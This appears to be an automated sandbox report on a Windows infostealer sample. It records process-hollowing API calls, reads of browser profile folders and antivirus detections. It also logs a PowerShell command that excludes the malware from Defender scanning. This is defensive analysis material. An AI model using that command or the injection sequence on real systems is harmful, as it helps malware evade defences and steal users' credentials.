NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0249a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2564 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02492000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2564 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Steals private information from local Internet browsers (4 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\
file	C:\Users\test22\AppData\Local\Chromium\User Data
file	C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data
file	C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\sqlite3.dll

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	powershell Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\BroyVyVPFAbkbpg.exe"
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\BroyVyVPFAbkbpg.exe"

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\sqlite3.dll

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Sept. 7, 2024, 5:01 p.m.	show_type: 0 filepath_r: powershell parameters: Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\BroyVyVPFAbkbpg.exe" filepath: powershell	1	1	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x000bfc00', u'virtual_address': u'0x00002000', u'entropy': 7.8854183726653355, u'name': u'.text', u'virtual_size': u'0x000bfa90'}

entropy

7.88541837267

description

A section with a high entropy has been found

entropy

0.996751137102

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 7, 2024, 5:01 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (7 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2612 region_size: 290816 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000378	1	0	0

Attempts to identify installed AV products by installation directory (2 events)

file	C:\Users\test22\AppData\Local\AVAST Software\Browser\User Data
file	C:\Users\test22\AppData\Local\AVG\Browser\User Data

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 7, 2024, 5:01 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $y =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPEL¹ÔÜ]àV p@p@.text$TV ` base_address: 0x00400000 process_identifier: 2612 process_handle: 0x00000378	1	1	0
WriteProcessMemory Sept. 7, 2024, 5:01 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2612 process_handle: 0x00000378	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 7, 2024, 5:01 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $y =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPEL¹ÔÜ]àV p@p@.text$TV ` base_address: 0x00400000 process_identifier: 2612 process_handle: 0x00000378	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2064 called NtSetContextThread to modify thread in remote process 2612
NtSetContextThread Sept. 7, 2024, 5:01 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4199584 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000274 process_identifier: 2612	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2064 resumed a thread in remote process 2612
NtResumeThread Sept. 7, 2024, 5:01 p.m.	thread_handle: 0x00000274 suspend_count: 1 process_identifier: 2612	1	0	0

Executed a process and injected code into it, probably while unpacking (19 events)

Time & API	Arguments	Status	Return
NtResumeThread Sept. 7, 2024, 5 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2064	1	0
NtResumeThread Sept. 7, 2024, 5 p.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 2064	1	0
NtResumeThread Sept. 7, 2024, 5 p.m.	thread_handle: 0x00000198 suspend_count: 1 process_identifier: 2064	1	0
NtResumeThread Sept. 7, 2024, 5:01 p.m.	thread_handle: 0x00000244 suspend_count: 1 process_identifier: 2064	1	0
CreateProcessInternalW Sept. 7, 2024, 5:01 p.m.	thread_identifier: 2568 thread_handle: 0x0000039c process_identifier: 2564 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\BroyVyVPFAbkbpg.exe" filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000003a4	1	1
CreateProcessInternalW Sept. 7, 2024, 5:01 p.m.	thread_identifier: 2616 thread_handle: 0x00000274 process_identifier: 2612 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\BroyVyVPFAbkbpg.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\BroyVyVPFAbkbpg.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000378	1	1
NtGetContextThread Sept. 7, 2024, 5:01 p.m.	thread_handle: 0x00000274	1	0
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2612 region_size: 290816 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000378	1	0
WriteProcessMemory Sept. 7, 2024, 5:01 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $y =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPEL¹ÔÜ]àV p@p@.text$TV ` base_address: 0x00400000 process_identifier: 2612 process_handle: 0x00000378	1	1
WriteProcessMemory Sept. 7, 2024, 5:01 p.m.	buffer: base_address: 0x00401000 process_identifier: 2612 process_handle: 0x00000378	1	1
WriteProcessMemory Sept. 7, 2024, 5:01 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2612 process_handle: 0x00000378	1	1
NtSetContextThread Sept. 7, 2024, 5:01 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4199584 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000274 process_identifier: 2612	1	0
NtResumeThread Sept. 7, 2024, 5:01 p.m.	thread_handle: 0x00000274 suspend_count: 1 process_identifier: 2612	1	0
NtResumeThread Sept. 7, 2024, 5:01 p.m.	thread_handle: 0x000002ac suspend_count: 1 process_identifier: 2564	1	0
NtResumeThread Sept. 7, 2024, 5:01 p.m.	thread_handle: 0x00000300 suspend_count: 1 process_identifier: 2564	1	0
NtResumeThread Sept. 7, 2024, 5:01 p.m.	thread_handle: 0x0000044c suspend_count: 1 process_identifier: 2564	1	0
NtResumeThread Sept. 7, 2024, 5:01 p.m.	thread_handle: 0x000004ac suspend_count: 1 process_identifier: 2564	1	0
NtResumeThread Sept. 7, 2024, 5:07 p.m.	thread_handle: 0x000001a0 suspend_count: 1 process_identifier: 2876	1	0
CreateProcessInternalW Sept. 7, 2024, 5:07 p.m.	thread_identifier: 2060 thread_handle: 0x0000041c process_identifier: 3068 current_directory: filepath: C:\Program Files\Mozilla Firefox\firefox.exe track: 1 command_line: filepath_r: C:\Program Files\Mozilla Firefox\Firefox.exe stack_pivoted: 0 creation_flags: 12 (CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x0000042c	1	1

File has been identified by 33 AntiVirus engines on VirusTotal as malicious (33 events)

Bkav	W32.AIDetectMalware.CS
Lionic	Trojan.Win32.Noon.l!c
Elastic	malicious (high confidence)
Skyhigh	BehavesLike.Win32.Generic.bc
Cylance	Unsafe
Sangfor	Trojan.Win32.Save.MSIL_Inject
K7AntiVirus	Riskware ( 00584baa1 )
K7GW	Riskware ( 00584baa1 )
VirIT	Trojan.Win32.MSIL_Heur.A
Symantec	MSIL.Packed.43
APEX	Malicious
Avast	MalwareX-gen [Trj]
Kaspersky	UDS:DangerousObject.Multi.Generic
Rising	Spyware.Noon!8.E7C9 (CLOUD)
McAfeeD	ti!CF929DA9BB2A
Sophos	Troj/Krypt-ABH
SentinelOne	Static AI - Malicious PE
Google	Detected
Antiy-AVL	GrayWare/Win32.Kryptik.afxn
Gridinsoft	Trojan.Win32.Packed.sa
Microsoft	Trojan:Win32/Wacatac.B!ml
ZoneAlarm	UDS:DangerousObject.Multi.Generic
Varist	W32/MSIL_Agent.IMA.gen!Eldorado
McAfee	Artemis!A6D68979CD44
DeepInstinct	MALICIOUS
VBA32	TrojanLoader.MSIL.DaVinci.Heur
Malwarebytes	Trojan.MalPack.PNG.Generic
huorong	HEUR:TrojanSpy/MSIL.AgentTesla.sl
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	MSIL/SnakeKeylogger.FQQD!tr
AVG	MalwareX-gen [Trj]
CrowdStrike	win/malicious_confidence_100% (D)
alibabacloud	Trojan

BroyVyVPFAbkbpg.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All